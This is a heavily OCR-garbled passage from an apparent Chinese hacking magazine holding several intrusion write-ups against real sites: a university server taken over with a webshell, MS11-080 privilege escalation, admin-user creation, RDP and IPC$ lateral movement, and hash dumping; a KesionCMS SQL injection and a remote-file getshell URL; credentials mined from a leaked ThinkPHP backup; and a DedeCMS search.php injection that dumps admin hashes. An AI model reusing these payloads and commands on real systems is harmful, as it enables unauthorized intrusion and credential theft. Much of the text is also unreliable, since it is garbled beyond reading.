hash 45 A update [8]135, H4, ZRIMREE? O, shit, 2J], A%, WAKER, GEET
PREDEARE R LSk o AR IX AN B, A MBI NE T ANEE RIS T BRI,
2GR E], B ip, AT TIES, BRI 2 I ENR HE ENFEA
ERYEE R, fF data\log H3H)
AZUT, B
PS: B #TRY, WHIRA, #WOEF N FEEE, .
(58D Ti{Edw4E: &5 sharow

F147 BEEKRE, BEAR!

fE#: StrOng
RH: EILIE - FackTeam
W4k http://team.fack.org/

0x00 FIE

0x01 PHERFAGA v, AR L — A K

0x02 L ANFEFE IR C B

0x03 Jwc T8 Nic MREIEHAE 1!

0x04 FHHiH ¢

0x05 —LEZRPEAIEId

0x06 /B¢ it

0x00 5/ E

—ERTINERFFIRE T —REBERN PR CERE 7 37 ZHHEE, (H2eRA
KK Z BTG 2cto lex.cc 91ri #ELEL T IR SCEE, FA M RN FONE AT IS, FRBENH
PP sZ ARG K S A A T, B 2R R BB AT ABATT delete $3CEE, SRJGIRIT)E AL
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AR T 44T TR T o FARE— IR T4 R4 KSR I 7o — P K.
B, ROk 2 S, HERAERGURMIRM . ARG, ERESHRRER, 2R
I, QA ARG IE

0x01 IRHIEAEN U, BRBERTE I RFEE

fleze—41, BEEEFTIFRI AR, Qi 1-3-1:
é_/ Hacked by Noface \m\\j_,

W 5 7€ i, v € X [&
EREDE PR PR — (B, RIS A

--=[ touched by Noface ]=--

Fadmin/admin. aspx
fupdate

Ffupdate

/bbs. asp

fconfig

/shop/f

{shop

fadmin. aspx
a_admin. aspx
admin_soft. aspx
gllogin. aspx
fgladmin. aspx
flogin. aspx
foffice. aspx
fsoft_admin. aspx
{club —

fuser/logzin

e e

aE

FrigRT8] =10~ 41:13
Server:Microsoft-IIS/6.0

] ¥-FPowered-By:ASF. HET

: Content-Type: text/html; charset=utf-3

Kl 1-3-2
F kA webshell, http://www.0dayboy.com/1.asp, F5i3E H O T Bt 20208 7. [k K
BB, EHERRERNOREERT FEIT, i 1-3-3:

099 Ti/3t 122 WU EJ5MIHE: http://t.qq.com/hackcto HEH#: 8H 15 H k. Rt



(k) —5 B SBE R ‘B 77 M3k : www.hackcto.com Z& L 45 : HACKCTO-201507-31

V@l © vuscers @asr - \[& s @ain) aE -

Qs & Q !
EthERE , FEPIRE R e~ T,  TEISANE.

B 1-3-3
AR ELLE A B R AT TR 2 30 50 N RO LR 4R sl 41 K B Bl 5 W P 42 2 e e RO B
KB T ASP KL (BBERRA), Wi 1-3-4:
& FRASPAL 5 TR ERD

B+ =webshels OVIPRR S S in SR

ZLIAED Pr=x

Tweb=admin

ITHREEFRAPHE, B

TPageMame=Pagehlame

SNETEM-SENER

dongee

kaifeng

KBRS, W7 WER, IR T
MEAES A B AR EER ST ASPAD (BAEE)" T ARIEREHRASPAD AR S ) BRI BRI R S
ASPAD(EART) " EER EEEHASP A EFRERE)
Z-HIE)5E PPass=UserPass

RS, WA SRR - -

HEk

1-3-4:
—WHEREEHEA G, BB, i 1-3-5:

_f1. azp?Pa=z=s=TU=zerPass

L /1. asp?Paszs=UserPazz - 0 E ¥

K 1-3-5
MR EEZE T, BRI R AW, W 1-3-6:
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i SRV R VSR — LOUT T | A RAOT A A AR -
EHRIERE  FRT A PR . TESARE. 5

3
3
B
3
5
3

HTHL Dacurnent

& 1-3-6

soft-IIS/E
B e

K 1-3-7
HIFF . BAER R E ey, W& BT A-v—.
ET T 7T, Wi 1-3-8:

BiERF: ZET 278 THiIER.
[D1]: File 1
[02]: File 1

[03]: File 1
[04]: File 1

K 1-3-8
278 NN T HRBURE A HAE FobRE, Wk 1-3-9:
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tasklist

System Idle Process 0 Console
System 4 Console
SMss.BXe 2906 Console
CSISS.BXE 344 Console
winlogon.exe 368 Console
services.exe 416 Console
Isass.exe 428 Console
vmacthlp.exe 588 Console
svchost.exe 608 Consale
svchost.exe 688 Coansole
svchost.exe 752 Console
svchost.exe 7828 Console
svchost.exe 204 Console
ZhuDongFangyu.exe 832 Console
spoolsv.exe 1016 Console
cisvCc.exe 1048 Console
inetinfo.exe 1156 Console
FrameworkService.exe 1180 Console

L n n

B 1-3-9
HBRRER T, A 360, AET .. REKE T4 PRy EVHENREK, W& 1-3-10:
C:\wmpubycmd.com

C:\RECYCLER\pr.exe

fshanjieg9y7-- s exploit will execute “net user temp 123456 fadd & net localgroup administrators temp fadd”
fshanjie89/-->Could not set registry values

1-3-10
B, HBEHEET . JUTEWEREZAT, &7 T TSN ms11080, BHiZMEE T
AR BfEdoskA, K 1-3-11. 1-3-12:

T e S T

1 N e e L
Mtk :  C:ARECYCLER\

SHELLESE : C:\wempubcmd.com
C:\RECYCLER\132.exe

[>] ms11-08 Exploit

[>] by:Marden7y@o0sec.org

[*] Taken system command

1 command add user 90sec 90sec
] User has been successfully added
1 Add to administrators success

[*
[*
[*

1-3-11

iz : C:\wmpub\cmd.com
net user 90sec
BAPE& 90sec

E o 90sec

13-4

APBER

EXR (X )8 000 (R&ZAE)
%rEH Yes

L IaE:1} AR

REEER
SR

2013-10-21 12:
Yes
Yes

1-3-12
EWRIS . F T P BemH, ik 1-3-13:
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Scan IP: 127.0.0.1
Port List: 21,23,25,80,110,135,139,445,1433,3389,43958

K 1-3-13
3389 J&FFH VM 2R L T 2 ROP ) 11, 40 1-3-14:
Hibk:  C:3RECYCLERY
|« e

3389%00 - |
HKLM\SYSTEMY CurrentControlSet\Control\Terminal Servery\WinStations\RDP-Tcp\Pc | BB

1-3-14
T 5E /& 3389, FTJT mstsc M A WhEEME, JEmIA4 T, wE 1-3-15:

THEATL () o — |
P FieE
24 (T [ L A *

“HAlL.
Tl /EEFHEATEILETRE 1P Mt SR EEERE. DR EENATE » (FRRITED

1-3-15
PEREE R, LR webshell SRR ATEFE R AR, AN T 5T B KR AT
T NBEPAT X B A B A PR —.—, EARF administrator AR B O A AR TR X
TV R Ipcs VI BRUAE R 135 A 445 i L HRIE TGS o
net use \\127.0.0.1\ipc$ /user:a\USER PASSWORD, K ilF ik 5 Fl2 65, $h AT N J5 , 4kl 1-3-16:

net use \\127.0.0.1\ipc$ /user:

BRI

1-3-16

103 /3 122 T B U7 http://t.qq.com/hackcto WARHM: 48 15 H MFaRE: Rt



(Z25%) — (5 BL AT B 77 M35k : www.hacketo.com Z% E 45 : HACKCTO-201507-31

dir \\127.0.0.1\c$, iZHFIZR, @WK 1-3-17:

0no\\ L7 .U.U.

1 15:2( [ [<pIRENLS
2012 3 14 20IR> N
' e
PEYTIN )
K 1-3-17
FAEE K bat BLEFEE, nettime \\127.0.0.1 & & R4 A], Wi 1-3-18:

K 1-3-18
at\\127.0.0.1 time C:\RECYCLER\1.bat, ¥SMIEEAETHAT, WE 1-3-19:
SHE 2. C:\RECYCLER\cmd.exe

at \\127.0.0.1

T —IRfEdk . EHA)

1-3-19
I bat L5 P A LB JOB AN () — MR LA B, R BIAAT S S R AT
R E ik Rk,

A ETREERERT.

3% R ) 2
' HAE I TSR T RIS 1.,
BTSN, IDREDE S  RIRTE TN F A ST

we | =y |

E-E 21:50:49
IPEES o
Kl 1-3-20
BN, SEEPEED: ipconfig /all B T FR-FHubk, fnk 1-3-21;
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SHELLEETT - C:ywmpubycmd.com
ipconfig fall

R B T T

Mode Type .. ..........: Unknown

IP Routing Enabled. . ......: No

WINS Proxy Enabled. ... ....: No

Ethernet adapter ZHEEE:

Connection-specific DNS Soffix . :
Description

Physical Address

DHCP Enabled. .. ........: No
IP Address

Subnet Mask

Default Gatewray

DMNS Servers

1-3-21
FH ping WX Tk, WK 1-3-22:

NG | =w®

MFEARS PR TIREERPING, N2 EFBAT.
EEFENS: W 2% P BE F £V BE F B3 @ @t

Fs Fingfthes M TP Al B ] TTL fidinlil
1 EHF[B{E] el I3 EHHNGE:
2 [ HRFRE [BE] JOEER: &4 BGPESEYPS 109
3 Lig[BiE] o= 55 iR [ LiEmEE]
1-3-22

REANKE— AW IP X EEBEE? 2 2 =2 211 x x. x — & 218. x.x. x i H C
By AR . 255. 255. 255. 192 o AP 1 WIHENT R v GEA DMZ Bl B8 tH, B4, 4
I LR 1 s 2 B ACHRANTE R 2R

0x02 OAFEFE IR € B

ZHTHRFARME T tE 1, 55 T ROAIE REEARINDE T webshell JE EIIEN SO, KL,

P 1-3-23:

1-3-23
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HA Flashxp —> FTP T A, @ﬁﬁj‘ﬁdﬁﬁﬁ FTH— %ﬂ"ﬂAﬁﬂ‘—IEﬂ%%ﬁmT WK 1-3-24:

PN ANDS AT U B T P I S O — B TP X e

Ay OO ” - K . v i

e ,«/ ‘X2 GO

7, Id D:\Mly Documents 'l ey ! I

. [eMAEEE =10l x|

52; : |igm |z @@ |82 &t |

- Emas [rr £

u data

ysten

nloaded | - =]

rn:o:dx BPEH ) |anonymous v ESQ

ols FH® l

elper i <73

Sina Fil o I

Ren *’mg@ ' EI

cent Fil IR BT ]

nder

. HE Q) [EREHRRERE |

P RO = |

=A%

neaes _l
1-3-24

—MHEAT T EER:, — MR/ tips: i B AR, B, WKl 1-3-25:
A em |z | EE | sE | wmt |
PEfZER |FTF
T ——
TP Hidt |m_ o {m
FPETR W) |wmongmous W E
TR |
g |

& |
B8 [0

@) |‘“ﬁ“13£ Bah s TaRTie] (RS

B 1-3-25
STHVBIBTIGAR, sl S K S B ok T T MERE NRERIE, PR HRE A,

1-3-26:
WinSoclk 2.0 -— OpenSS 81 15 Sep 2002 ;I
[75] EfEEES 21&> 1r S FOFT=71

[a] EiEEs 211

[F] 220 Serv—U FIF Server +l0.2 ready. .. _I
[(5] USER jwe

[F] 331 User nam ay, Teed password.

[H] Pass E3FE)

[F] 230 User logged in, proceed

[(5] S¥sT

[5] 215 UNLX Type: LA

[F5] FEAT

[f] 211-Extensions supported LI

K 1-3-26
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KIMAERIR FZ B LT —1 webshell, HEXZE R T — webshell, #1& 1-3-27:
W e ere g

€ 2> 0 9 v O el

BRI  EE PR RS R — i E . Bl M.
r— J [— 1 M= -

Hitk = Byl jvech05(11)

EE—— |

B 1-3-27
%7 webhell J5 EL#% cmd 34T 1 ping 8.8.8.8 JEFLIR A LA M L 5w 1.
I 1-3-28:
SHELLEE#E : C:3ZRECYCLERY13cmd.exe
ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=37ms TTL=43
Reply from 8.8.8.8: bytes=32 time=44ms TTL=43
Reply from 8.8.8.8: bytes=32 time=38ms TTL=43

Reply from 8.8.8.8: bytes=32 time=40ms TTL=43

Ping statistics for 8.8.8.8:
Packets: Sent = 4, Received = 4, Lost = 0 {0% loss],
Approximate round trip times in milli-seconds:

Minimum = 37ms, Mazimum = 44ms, Average = 39ms

1-3-28
KA, SREEHE T — B R k- -, W2,
B ms11080 &=~ CHHE] C B IHLF HH— AN S 4E T 8 G AT fE 2 [F] — B 8] 22 25 40 T 15
B4y, AT AR Z A B A T 3XA EXP).
WA 1-3-29:
= 1 i~ [~i2=d [~520d [— =
itk : C:YRECYCLERY
— W | SHELLEE : G\RECYCLER\13cmd.exe

C:\RECYCLER\1.exe

[>]1 ms11-08 Exploit

[>] by:Merden7y@90sec.org

[*] Token system command

[*] command add user 90sec 90sec
[*] User has been successfully added
[*] &dd to Administrators success

1-3-29
xR RET, WK 1-3-30:
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Hidk - C:YRECYCLERY
— A SHELLEE{E : C:\RECYCLER\13cmd.exe

net user

Administrator ASPNET
IUSR_CZU-BUMEMN2 IWAM_CZU-BUMEMNZ2

& B Thoo B -

K 1-3-30

X AR R — ok IR BB T 1, AR e S g, Gl 1-3-31:
- -~ - P".}{“\ : ~ ';m).nxq; - Le

] \ £ v" /\,/» :

Tk oot | e i .
‘ IRES: K| = {\ () 4%Y it o =L
ﬁ Igt ’ &--J-O %71 Uco 3 “ayy’ i

LT R / "7‘

{ ' 3l *

i : i \‘Xﬁ)ﬂm’ |

S - | p

‘} 4;/'.;61_’/;

1-3-31
B VXEWEE T — L, BAREEE P B — N IS H LR SRS P S 1P Mk o At AT ) AR Y
IR ER XTSRRI, A I 211 BT g7 0E), RN A 218 U5l XA —2r Bt fs i,
BT AR ) N R — G X A TR 211 BE), EHLIF VPN BEEPI R L 1E S ER IR
FRMRXEG jwe . EAET I ven BIIA SREmteEdE b1 -. -, TEXEAK AL
PRAKE. #EN VPN 5 B T T AT A I T, X R n] DLSE B4 ) # Bl S IR 5%
& 7, i 1-3-32:

w4 VHEER |

l

{8

WAN 9 2um] (PPTE)
vpn

PFP

TCE/IF

NS CHAP V2

MEFE 128

E58 MPEC

PPP ZEHEEM x

IRES3 1P Hutl 169. 254. 180. 229
EPiw 1P Hutk 169. 254. 2358. 199

1-3-32
EABEEED] 0x01 BN T, 2RJ5FF FHL ping 78 1P FARARE A RERE, Wil 1-3-33:
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&

7 1985-2083 Microsoft Corp.

C:»Documentz and Settings>?B8sec. 2»ping baiduwu.com
Pinging baidu.com [123.125.114.1441 with 32 hytes of data:

Request timed ownt.
Regquest timed out.
Request timed out.
Request timed out.

Ping statistics for 123.125.114.144:
Packets: Sent = 4, Received = B, Lost = 4 {188x loss).

C:“Documents and Settings“9Bsec!

1-3-33
Tozs HAUFHH hash (5052 G50 3R M HEE 5 FFD B0 B4 4 T B o TR B9 jwe 1) hash A5 T .
0x03Jwc E.3f Nic, FRESFEHAZ T !
Nic /&ML H OIS, REE MRS SHEE ARSI ART, AT TaE_his
ML, EINERGEH OIS T U REE AR T T, wE 1-3-34:

‘ Site: nic oy CMS BE—T

KesionCMSIEF N T AT & RH2 &l

B EIEKesionCMS! Kesioncms VB SR TR A= S W= T =R Ol IR T 5%
fIELTNIEMME AFTELTHRET "RERRREM TR O RRTLE..
nic-;dism...asp?idzzz 2013-7-16 - EERE

YRk

2&M0O5 - BnfetiE: 201012020

BitiniE A kesionCME W7 S 35:250 Internet Explarer ik S35:240 kesionems? 084 T 18
£5:203 PR Aa TR E A S5 196 RIS IR URRT ..

nic. osndiimadind. .. asp 2013-5-5 - EEHRE

1-3-34
A 7RBIRE, 1 HRANRREEEL S = B, KRB T4 EXP.
http://www.wooyun.org/bugs/wooyun-2010-07419.,
A B EE A L. http://pan.baidu.com/s/1Fxoec.

/plus/ajaxs.asp?action=GetRelativeltem&key=search%2525%2527%2529%2520%2575%256€%2569%256{%256e
%2520%2573%2565%256¢%2565%2563%2574%2520%2531%252c%2532%252¢c%2575%2573%2565%2572%256
€%2561%256d%2565%252b%2527%257¢c%2527%252b%2570%2561%2573%2573%2577%256{%2572%2564%25
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w27, Wk 1-3-35:

CE I - I I - @)
=

K 1-3-35
BRINJG 6 BT 1 getshell, T /E4 getshell HEELEHE T, {8 T, AAS T,
PO EH BRI, RIS HCHIW, FEOTUUSAE R SR RS A -
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.SaveToFile server.MapPath(LocalFileName),2
.Cancel()

.Close()

End With

If Err.Number<>0 Then

Err.Clear

SaveBeyondFile=False

Exit Function

End If

Set Ads=nothing

End Function

i AR X LA

If KS.G(“LocalFileName”)<>"" And KS.G(“RemoteFileUrl”)<>"" Then

If KS.SaveBeyondFile(KS.G(“LocalFileName”),KS.G(“RemoteFileUrl”))= True Then
Response.write KS.G(“LocalFileName”) 45 i #2718

End If

End If

KS.G(“LocalFileName”)#ll KS.G(“RemoteFileUrl”)

AT R I e 5 N2 FEd i — L8 SQL F ARG S e 1 B b a5 ) -
http://www.t00ls.net/Wap/Plus/PhotoVote.asp?LocalFileName=cc.asp&RemoteFileUrl=http://w
ww.bksec.net/1.txt

21 Wap/Plus N B A cc.asp, FFik A 3044, HHH 1. txt 24 shell £AH5 .

ENEE LRSI PRI, BRI TREE =67, 360 PHSMUIEREY LM T, wE
1-3-36. 1-3-37:

€3 W S % Qu-Emea v 8
D, S R PR — i E. TEISAYE

i~ 10— 1 [~i2sl [-5ad 01—

Hiil: CiZRECYCLERY

——— B [cHeLs® : cmd.exe

net user

s exploit will execute “net user temp 123456 fadd & net localgroup administratovs temp fadd™
ot WMI process Pid: 6468

ound token SYSTEM
>Running reverse shell

1-3-36

C:\RECYCLER)\
—a llll(’ exe

net user temp

HPrPE temp

i 2

tr#%

MPrPmoaEn

BE (R )TW 000 (RIEMAGH)
®rEN Yes

% 7 W) T S

FRERES 2013-10-18 11:17
= 2013-11-30 10:05

2013-10-18 11:17
amEEN Yes
HPapleeEs
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BT R AR VG A — e fE ROP MIC RGN hash BIIRR T 3%

0x04 F#4 H 1%

W EE RN & R Z R 403t HSCAN. X-Scan B4 1, & LHRE, MRIERIBEH, Rl
FRAWERELA, 55045 A%, 5 2827 3 4 Ia SR EAYkESEAT,
T Rk, ] 1-3-38:

[ E2TF - ioFE

THE FEEOD BR0 FFEw SBBo

211 S adninistrator
211 SN adninistrator AN

.mse: 90sec

- webh SV

211 (W nic T
211 . % Administrator2 - -

X{Hﬁ [Z) ﬁ?ﬁ [1:3] EE @ W E E) (E] TR@ ®WAW HEC Feha
HAEEmew | G (BEh B EEHS E
[ FEesE eo
[ SEERE &
| sbepat 40
|| netperfmon 20
| ReportServer 0
| ReportServerTenpDB 4
| student
o Fatt #E
[1 BESHE
o Sl REFE
[
[ SAL Server i3 LEBGALY
RICESAEREMER
] —
Kl 1-3-38

W IZIEIN hash SRECE RS S — MEBU RN, 5t H iR RiE % s 2 —

WhY: 2013*sb*Dsbl, RJEF AL HARKI AR S5 25 BLANF] 53 4 — M2 2009*sbDsb1 HithIk

HEAT THEWT I H H QA T — 2%, MERAIEES] T — RS 4 %02 2007*sbDsb1.

0x05 —LLRVEHJE I

PEIRIBIE BT T Wil 8482 5 R M IZARI WWW. NIC, JWC. &8 Rl — A5 AR 55
B YR —EZ AR E B FRBEFR LI F T, R A5 2 22 A i AR IR

E%L%ET WAL Z L, N—ANNRAE DR EAT R, IRZEARFBOIRS, #luniiey
, MBS, AT, MR, 555, IRBERNF RIS ARG, s B, &
Uﬂ% RINE S, HE T H ORI 184 NINIFE R T BB 5 R I — AR i i T A

2013 4F 1 H A B e T R 3RS SR B H BB Srexe. WSS & 0x01 HYT7E I ms11080

= T administrator AR A5 5 Srexe I LM S AT, PATTIEAE srexe User

Pass "whoami"+++. HAKTEE R T HAL windows $EEUE A — SR, FRITECAIEE. 17,

SRMERIX R, WSINIEFRIIAT RGNS B BB A BN . WSS EN L

Rl R KRR =

0x06 /2

Route(F4ck team)

eldpse (/)

EvilmO(FF0000)

F-% (FF0000)

haxsscker(COde Play&F4ck Team)

Tkby(F4ck Team)

Ersc (Anying.org)
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BARCE SR AR, SRS R RAIRITE, WHEira.
Anying Team FFO00 Team  F4ck Team
(&58) Ti{Edw4E: &5 _sharow

157 B1E Thinkphp VRSB RS

E#: T

KHE: EEWIE - FackTeam

W4E:  http://team.fack.org/

RIS 1835 thinkphp 5842 RUNTEIIZ A48 T4, ARBARBIKGEfEEL T, W, 5k
E—ANHERTRIAANKE T —A thinkphp [FEE:, T2 — AN E4AE, 800 2 MB B FE T
AJ & N HOE ERAHARYER], L KB Lt KB &P, mm, 4] 1-1-1:

| Bt - sscnEsRLEs
EEFR thinkphp.en.zip EFERE  sEhk gy 803.48MB
#=EBE%E E\TDDOWNLOAD) E Fs 803.48MB MD5 51DOC2A3E8321C6C94...
s 803.52MB EHEHE  61.79MB B R e ) 13-11-05 15:12:55
SERUATIE]  2013-11-0518:05:50  FEMAET  02:42:26 F=R |, 844KE/s i1
URL  http://www.thinkp™**cn/... SIBEm 'B% s N

rity Team
B 1-11

IE3C: T TUASN AN E5E, TE AN, HIREFEF RMIARPG, WY, Mmmix s 4
B RIE, RS T — config, HHEUFARI, RAATH, WK 1-1-2:

B £ AL A e S T el | T e AR b | J A N LALL

'/user\/index\/user_id\/(\w+)/' => 'u/\1°',

nononon

HREEE
'DB_HOST' => 'localhost’, SRR S oAt
'DB_NAME' => 'thinkphp admin’, FiBER
'DB_USER' => 'thinkphp admin', FiRER P
'DE_PORT' => '3
'DB_PREFIX' => 'think ',

'IMPL_PARSE STRING' => array(

K SEIN * => '/Public/default’,

'__COoMMON ' => '/Public/common',

' 1-TMPL-!" =% TMPR %,

*1-ROOT-!" => '_ROOT_ ', 1

'1-3PP-!" == ¥ zpg ¥, el

' 1-GROUP-!' => ' _GROUP_', |ty Team
K112

SRS mysal BUR, EBR T, AURAELEE R, Mk 1-1-3:
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76

77 ENTTEN o
78 'THINK EMAIL' => array(
79 ' SMTP_HOST' => 'smtp.exmail.qqg.com', //SUTERRH
80 "SMTP_PORT' => '465', //suTEMR%H &R0
B1 'SMTP_USER' => 'mail@thinkphp. org ¥
g2 "SMIP_PASS' => '
B3 'FROM EMAIL' => 'mail@think'php.org ; ‘,EFF.,'..:.M:__;
84 'FROM NAME' => 'ThinkPHP', //EHAEH
85 'REPLY_EMAIL' => '', DE"*::'_ (B=MALR M AsMarr)
86 'REPLY NAME' => '', //[EIERH (B=NYES AR
87 ), =
BE
89 'COOKIEACE
a0 'COOKIE PREFIX' => 'THINK ',
91 '"COOKIE_PATH' =>'/', (4 y
.. = ey FRRRN S
93 'THINK_UPLOAD' => array( mty Team
K 1-1-3
KOLT IR E, XA GRHAR—T, W 1-1-4:
ThinkPHP# KB <mail@thinkphp.org>
TOPThinkTiZ8 o ox
0 = BE#EP BZNEE  ThinkPHPR SREERIE - 200 0] [
vgma (—ﬁ) - - ——— - - - ————— e ——————— o———
0= PostMaster - #Athinkphp.orgf¥B{E 7100 o0 -
L] = Simon BEIR:ThinkPHPEIES®PF 0 0
PERI(1739) O =@ %F EEHEE ThinkPHPR SRGEMIPE - 200t sl
ST 0 = BASE BEHEE ThinkPHPRE PREEEIE - Hihv, 000 1%
MEpAE ] =1  gaowt520 SEXE BHER: ThinkPHPH FXEMSH
BiEH ] =1 PostMaster FAthinkphp.orgf3BE - 700 o TE

B 114
Y7, &1 — NRIEAA AR, 2R RIEEMIE AR, 4E NESAR, WK
1-1-5:

) e

FTPECE
'FTP_HOST' => '114.80.156.148"
'FTP_USER' => 'thinkphp’,
'"FTE_PWD' => 'cntuRs
"FTP_ROOT' => '/thinkphp/db’,

'/3ns AR %Eh‘ ...................

(R ETRES quty Team
B 1-1-5
FAFR A INMKFEATER I R T, B aT LB RS ? W — A AE 7, W 1-1-6:
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X n>-BSQe

BRI

| /thinkphp/web/
&=t Fuh BEf
1 tpER
 aspnet_client 0 2012/3/19 1
J.Case 0 2012/2/27 1.
| cert 0 2012/2/22 1!
. Uploads 0 2012/5/22 1.
l_,.htal::cess 173 2012/3/26 1!
™. download. php 2 KB 2012/7/3 11
=] index. htm 693 2008/3/30 2
™. index. php 3 KB 2012/3/26 1
™ test php 1 KB 2012/5/22 1.

K 116

EARERAA AT, XEa—MLW, KALY. A& FTP 19 1P FIE AT 1P A2 —A, Frblik
BT — NI A ETG. RIEEH T —F 1P _L4RE R4 RIA — thinkphp )R #35%
ZAEHTH: down.thinkphp.cn, W 1-1-7:

#i%#, down.thinkphp.cn YIPHAE 114.80.156.148 FiiEMKA: FEih. 18 5 MESBTREZIP-

e bz #8 PR
1 www.gth.com.cn BN FARRSRR | QTH | 8 4N, 35k £ R A (TR - 2
2 www.elinkhost.net {gEiE i R E AL A b SR AR R -1
3 bbs.gth.com.cn EERmEh: 0
4 gth.com.cn BRI FRRZTRT | QTH I8 S Sela f R mLE |
5 down.thinkphp.cn AT - )

Surity-Team
K 1-1-7

KA ZELRE T, MAEFKZ: thinkphp FIRIEE_ - F 308 BB & AL ZTE down XRS5 4%
b, i 1-1-8:

i REOH
"

=
P BirkaiE http://down.thinkphp.cn/dl»wnload.php?key:MTM4Mzc( =4l !
K .
B -

EZE: | C\Users\Madman\Desktop\ - | ...

4 E
' Bra ==l T hinkPHP3.1.3_full &0

K

AN 1.48 MB, C 2FRIERZE(E]: 16.25 GB
K
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AR SR IRAE B A RN LA T B R AR — O R A g n S T, AR S AN RAR 2 uk
HWHE I shell? 0R, MOV —MERERINETEE, RRASTRER, WA 1-1-9:

L o) down.thinkphp.cn - T2 S

XHE REQ FEW RO TAD HHE
JFE - - | Lax ooxnx | O
it @ [ zavem

2L | 28
REES 2 e
e <EHES ©)] Tue
7 Fh/HRET STHME 0) FENS
O ES-TEaE XS ¢) FHES

CHHEE F)  FHED

RMER ) FHER
HERS

K 119

»

—/ shell HATA? HJEEII T IX GRS, FIHTIZ mysql root BUFR B 82 UDF 384, 1
1-1-10:

=H &
| = thinkphphj
*#% 3  ThinkPHP3.1.35=28kg A=RSTR

* 4 % :ﬁi‘g@ W
*BEEE B v

mo® B g <>0 = [d O
NSRRI R R ; /] :
lSEAFNER ; /]
liActionZfJassignFiEZiRESRE ; /]

#FEEEREEESHERMA ; V]
(IHEIE E—hEART—EBUG ; /]

[/ul]

EHNEFRIFEES =

[urllhttp://www.thinkphp.cn/update/3.1.3.htmi[furll_ L

[br/1 ;
r j rity Team

B 1-1-10

B Jr EMRAE R AR e] 7N R G AR, S AN S R B (0 B DL, TR SNk
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Bk, —BE®RRIEMAA, fEXANAREIEDD, TLLEESRE N 2R, FEEHMTLE
B, Wl 1-1-11:

= thinkphphj o s
gh M55 : 4671
Ak~ R4 HEE2 EEER HBERZL 1EXEERS
> feR s iR, FEAHRES SR TS ?
BATYE
zeome T -
FRATFAIS : .
L0 MEEE  www.thinkphp.cn/u/ | thinkphphj
SRR
AL B ‘
48EmpfE  huajie@topthink.net
@& FRME y ;,3‘
v yir '
2, o 2s o I T

1-1-11
EXERATHAT, 7'34+Aé§zﬁ?%ﬁj<ﬁ” CMS fF1E/ETT T -
(&3C58) TiiTgniE: BEMEADNE

F1eT —kE BEBERBE

fE#: a584518
RE: HEBIE - FickTeam
Wk http://team.fack.org/

ANFOANGE, R T, BOREMR, FESFERARIERN, WIS B 5 B g
T, BEERAAERT, REIE—GALY), NRIRESLEREE U H ARSI B R
url JETEIII—) robots.txt, 1 3-2-1:

L C | [Nl o cbots. tut
it AR EBiY TEG BE ([ M IE &2

Xa| SEFITE M, EEFFENET

Uzer—agent: #*

Dizallow: Splusfad_j=. php
Dizallow: /pluszfadvancedszearch. php
Disallow: /plus/car.php

Digallow: /plus/carbuyaction.php
Disallow: /plus/shops_buyaction. php
Disallow: /plusferraddsawe. php
Disallow: /plusfposttocar.php
Disallow: /plus/di=dls. php
Dizallow: Splusf/feedback_j=. php
Disallow: /plus/mytag_ j=.php
Dizallow: Splusfr==.php

Disallow: /plus/=search. php
Dizallow: Splusd recommend. php
Dizallow: /plusd=tow. php

Disallow: Splus/count.php [
Dizallow: Sinclude
Dizallow: Stempletsz !

B 3-211

A
Ef‘l .
=
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TaIRIE dede 1, EFRIEM LI, BERAIE, WK 3-2-2:
¢ (6 ww.om iata/ad

AR S (& ER O M1 eRA

20110326

K 3-2-2
20110325 1R1K, MiZA&HE %M, ik dede HIFLA plus/search.php VAW, Hn& 3-2-3:

€=2CDh wwwa con/plus/eearch. phpTheymordeasktypedrr (1118308 Y ) +andt (SELECT+L4RRON (selecttoont (+), concar (Floar (z
SR e EE O A mesA

o WARR KX - FIR, RERENE £

DedeCMS Error Warning!

Technical Support: http://bbe. dedecns. com

Error page: /plus/search. php¥keyword=asttypelrr [111%3D8 Y ) +andt (SELECTHARRONF (select oomt (%), concat (Floor [rand (0)#2),

(suhatring | (selecttCONCAT (0xTe, uzerid, 0xTe, pud) Hront %298 _adnin +linitt0, 1), 1,62) ) ) aHrontinfornation_schena, tzblestgroupthyta) b %230 ' +)=a
Error infos: Tou have an error in your S0L syntax; check the nanual that corresponds to your NySQL cerver veraion for the right syntax to use nes
comnt (), concat (Flooz (rand (0)#2), (substring((select’ at line 1

Error sgli SELECT chameltype FEON db_webactype WHERE 16=111=8Y ") and (SELECT 1 FRON (select cownt(¥), concat (floor (zand (0)%2), (substring ((se
“db_webadnin linit 0,1),1,62) )02 fron infornation_schena, tables sroup by abjid v

DedeCMS Error Warning!

Technical Support: http://bbe. dedecns. com

Error page! /plus/search. phpTkepword=askivp WaDd ' ) andt (SELECTHARROMF (selecttoomt (%], concat (Floor (rand (07%2),
(suhstring | (selectCONCAT (O Torus@Tad, OxTe, pud) Hront %290 admmelinitH, 1), 1,62) ) aHromtinfornation_schena, tzhlespemsupthytal b1 %230 V=2
Frror infos: Duplicate sntyy ' 1)adnin|aB183¢12ad08554ae8 for key Mgroup key ;

Error sql; SELECT # FRON dBweharchives arc VHERE typeid IV d 4" and (SELECT 1 FRON (zelect cownt (), concet (FDF9R (rand (0)#2), (sHstring
“dh_vehadnin linit 0,1),1,62)))a fron TR TTTroreTiEna. Tables group by 2)b)#@ Y ) AND avc.averank ¥ -1 AND ( CONGATlave.titleyd ’,ﬂlwa'amr

K 3-23
TR E R K S, RUE & O — N ERR S, A R AAMMSOXRE, RN AR T . 18
FIIK 5 admin, EREEZ N adminl23!!
PRI E A, T —4 dede, Wi 3-2-4:

€« C [ www. ‘ com/dede

0 A BUM [&]BE (M IE PEA

dir

K 324
XA AN, BEERX A 7K dede B G RIIBAS, ARG gE 7R R, BRI
ANTTEWRATAE 7, B3 getshell AT, REKT .
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JEITEMRASFE BRI X SRER LR .
WAL JE TN dede AT s, ANARKI AR PY 2k 404, BHIAFAE dede XA H 3k, MAHAZM

TR T, R dede IHE T LAES Bk, BERA T Wik SCERIE .
Wik J5 1 0 _E include/dialog/select_media.php?f=form1.murl HRE, & 3-2-5:
"""""" .C‘J"“r:t-';:f:—‘ dalog/select_meda.php?f=form1l.murl

heot23F [XPRIRT @ w0oh IpSRx [ ema¥ T HEA AR OAFSL [ amnr 5%

x (&
DedeCBS WA{ZAY

#A: REARSEHERARER
WENESEMERE: dede [ #AEZF |

K 3-2-5
NI &M EAF1E dede XNHF T, WiEFEME, HI 7 ERXS M, WE 3-2-6:

http:/ /v SERIIR.com/ dede/logn.phpPgotopage =% 2Fndude%2F dialog%2F select_media.php%3Fgotopage3D%?
